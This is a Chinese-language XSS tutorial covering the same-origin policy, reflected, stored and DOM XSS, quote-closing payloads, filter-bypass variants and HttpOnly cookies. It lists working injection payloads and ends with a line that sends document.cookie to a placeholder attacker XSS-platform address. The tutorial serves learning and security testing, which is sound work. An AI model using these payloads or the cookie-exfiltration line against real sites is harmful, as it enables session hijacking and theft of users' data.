漏洞基本原理-XSS
0x01-同源策略、编码
*同源策略
浏览器的同源策略,限制了不同源(Origin)的“document”或脚本,对当前“document”读取或设置某些属性,如cookie。
同源判断的条件:协议、域名(IP地址)、端口
对于当前页面来说,页面存放JavaScript文件的域不重要,重要的是加载JavaScript页面所在的域是什么,也就是说 http://b.com上的b.js在 http://a.com上被加载,则b.js的origin就是 http://a.com。
浏览器中,<script>、<img>、<iframe>、<link>等标签都是可以跨域来加载资源的,而不受同源策略的影响。带"src"属性的标签每次加载时,实际上都是浏览器发起了一次"GET"请求。
*编码
总结不好,直接上链接吧
0x02-XSS类型
*反射型XSS
就是服务器将用户输入的“数据”简单反射到浏览器。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码,这个过程就像一次发射,所以叫反射型XSS。
成因就是服务器对用户输入的内容没有实施过滤或净化措施或过滤不严格,就直接将含有攻击者代码的相应返回给浏览器,浏览器过于相信服务器,照单全收,就会执行了获取本地用户信息的恶意代码。
这个数据的输入方式,可能在url的查询参数后添加恶意代码(自己测试),或通过特定手法诱使用户点击包含恶意代码的
(就是攻击者在查询参数后添加恶意代码后形成的URL,我们点击了链接,就相当于我们自己输入了数据,进行操作)。可能出现在网站的搜索框、用户登入口。
这个数据的内容,可能是一段恶意代码(弹窗、获取cookie),或者是执行远方服务器上的js脚本(此时同源,能干很多事情了)。反射的就是恶意代码
这种方式的技巧,可通过编码将恶意的URL进行编码转换,或通过短链接的方式,迷惑用户
这种方式的特点,因为触发一次就需要用户点击一次,非持久化,经过后端,不经过数据库
个人的理解:攻击者可以控制自己页面(链接)中的代码,甚至是在页面(链接)中添加指向服务器网站的恶意代码(包含想要获取用户本地信息的代码),但因为浏览器的同源策略,浏览器无法直接执行这些恶意代码来用户本地的信息(如cookie),只能够由发布该cookie的网站才有权限读取用户本地的信息(即向网站访问时才能读取cookie)。所以,攻击者想办法构造一个含有恶意代码(代码有两作用:一是获取目标站点的cookie,二是向攻击者后代发送一个含有cookie的请求)的请求诱使用户向服务器发出请求,让服务器网站返回含有恶意代码的响应,这样浏览器就执行获取用户信息的代码并发给攻击者。通俗地讲,你浏览我的页面或站点,因为同源,我站点(链接)无法直接获取你在其他站点的信息,但通过你的点击让其他站点服务器(过滤不好)来反射我的攻击代码让你相信执行并获取你的信息。我的站点(链接)的代码脚本相对于你正常访问的网站来说是来自其他地方的脚本,跨站点脚本。
防范措施:
1、在客户端显示服务端数据时,首先需要对其进行过滤标签、属性
2、可以通过转义\ > <
*存储型XSS
就是服务器将提交的数据“存储”在服务器“上。攻击者事先将恶意代码存储到漏洞服务器上,当用户浏览该网页时,,站点即从数据库中读取事先存储的恶意代码,然后显示在页面中,即受害者主机上的浏览器执行恶意代码。
这种方式常出现的地方:网站留言、评论、博客等交互中。如果用户的留言中包含XSS攻击代码,而服务端没有过滤或净化这个数据,那么攻击者就可以借此发送包含JS攻击代码的留言,在查看过该留言的用户和管理员的浏览器中执行任意脚本。
特点:持久化,经过后端,经过数据库。
*DOM XSS
通过修改页面的DOM节点形成的XSS。从效果上看,属于反射型XSS,但其通过修改DOM,直接在页面上操作,不经过后端,不经过数据库。
成因:客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
DOM—based XSS攻击源于DOM相关的属性和方法,被插入用于XSS攻击的脚本。
0x03-XSS的挖掘(无过滤情况)
*反射型XSS
//测试点的payload
?name=<h1>twosecurity&age=1
?name=twosecurity&age=<h1>1
测试,看<>有没有被转义,未被转义则将参数换成<svg>。若<svg>存在源码中再添加内联事件执行语句<svg/onload=alert(1)>,<onload>是指在加载该页面时就执行。
<svg/onload=alert(1)>
闭合问题
//举例
//假设输入框源码:
<input type="text" name="2sec" value="[?]">
//其中value中的[?]是可输入部分
引号,尖括号闭合说明
payload1:
value=""autofocus/onfocus=alert(1)//">
autofocus:对象在加载完成后自动获得焦点
onfocus:事件在对象获得焦点时发生
第一个引号用于和value中的前一个引号闭合,结尾的//用于注释后面的语句,这样使得xss能被浏览器完整的解析
value=" "autofocus/onfocus=alert(1)//""
payload2:value=""><svg onload=alert("XSS")//">
第一个引号和用于和value中的前一个引号闭合,>用与和input左边的<闭合标签代码<用于和结尾处的>闭合
<input type="text" name="2sec" value=" "><svg onload=alert("XSS")//">
//script标签下的情况
//输入框源码:
<script> var website="?";</script>
//其中website中的[?]是可输入部分
未设置过滤情况下利用script进行闭合
<script>var website=" http://twosecurity.io/</script><script>alert(1)//";</script>
JS层面注入双引号绕过<过滤
<script>var website=" http://twosecurity.io/"-alert(1)//";<script>
备注:"-alert(1)/"解释
-alert(1)/" 中的减号的意思:让 js 语句不发生错误 ('+',在 url 的 uqery 中是空格的编码,而 % 号是表示url编码的标识符,/号在url中是表示一个path,所以用减号最合适。)
在注释里的情况
使用换行符跳过注释
<script>//var website=" http://twosecurity.io/
alert(1)//";</script>
多行注释
<script>/*var website=" http://twosecurity.io/*/alert(1)//";*/</script>
//隐藏在HTML事件属性中的xss
<a href="#" onclick="function_adduser('xiaoming')">clickme</a>
//function_adduser为自定义的函数名
利用HTML编码闭合单引号
在 HTML 编码中,单引号对应的有 命名编码:' 、十进制编码:'、十六进制编码:'
//构造payload如下
<a href="#" onclick="function_adduser('xiaoming',alert('1')">clickme</a>
*存储型XSS
存储型XSS的输入点:可能是发表一篇日志、一条留言、评论、提出一个问题或者回答一个问题。输出点:可能是查看他人资料、或者查看一篇日志、一条留言、评论、一个问题或者一个答案。并不是一对一,有可能一个没有过滤的输入点导致多个输出点产生。如果输入点是富文本,则可操作的空间更大。但一般都会对富文本内的内容进行转义,此时,用burp suit进行拦截,将字符串替换成payload。
替换的payload
<a href="javascript:alert(1)">click</a>
Data URI,仅限 Firefox 下可以利用:
<a href="data:text/html,<script>alert(1)</script>">click</a>
然后放行,看被转义了哪些,再做下一步。
*DOM XSS漏洞的挖掘
0x04-混淆和绕过(存在过滤)
(事件属性绕过):
<input autofocus onfocus=alert(1)>
<input onblur=alert(1) autofocus><input autofocus>
<body onscroll=alert(1)><br><br>...<br><input autofocus>
(属性标签/Javascript&CSS中的空白分隔符)
打开Chrome控制台->Console,输入String.fromCharCode(9),即复制到9所对应的字符
(标签名分隔符绕过)
<img/onerror=alert(1) src=a>
<img[0x09]onerror=alert(1) src=a>
<img[0x0d]onerror=alert(1) src=a>
<img[0x0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
<img/'onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(1) src=a>
(字符引用解析)
(JS编码绕过)
a\u006cert(1);
alert`1`;
location=/javascript:alert%281%29/.source;
(HTML编码绕过)
<a href="javascript:alert(1)">click</a>
<a href="javascsipt:alert(1)">click</a>
应用程序经常会对某些字符、表达式进行编码、净化,使得JavaScript变得无害。我们要测试还有哪些特殊字符串没有被净化,利用它们进行攻击。如果输入点是再现有的标签中,就不需要插入标签。若只能使用已被净化的字符,那就查看字符被净化的效率。利用多层编码、空字节、非标准语法、模糊处理代码。
下面第一个是使用Google Analytics进行数据提取
0x05-漏洞利用
HTTPOnly Cookies
HttpOnly属性介绍
Cookie的HttpOnly属性是Cookie的扩展功能,它使JavaScript脚本无法获得Cookie。其主要目的是为了防止XSS对Cookie的信息窃取。
发送指定HttpOnly属性的cookie
发送指定HttpOnly属性的Cookie的方法如下:
Set-Cookie: name=value; HttpOnly
通过上述设置,通常从Web页面内还可以对Cookie进行读取操作。但使用JavaScript的doucment.cookie就无法读取附加HttpOnly属性后的Cookie内容了。
以下图片展示了攻击者的XSS漏洞利用流程
(攻击代码(将 COOKIE 发送到攻击者的 WEB 服务器上))
new Image().src='XSS平台的ip地址 '+escape(document.cookie);
XSS攻击流程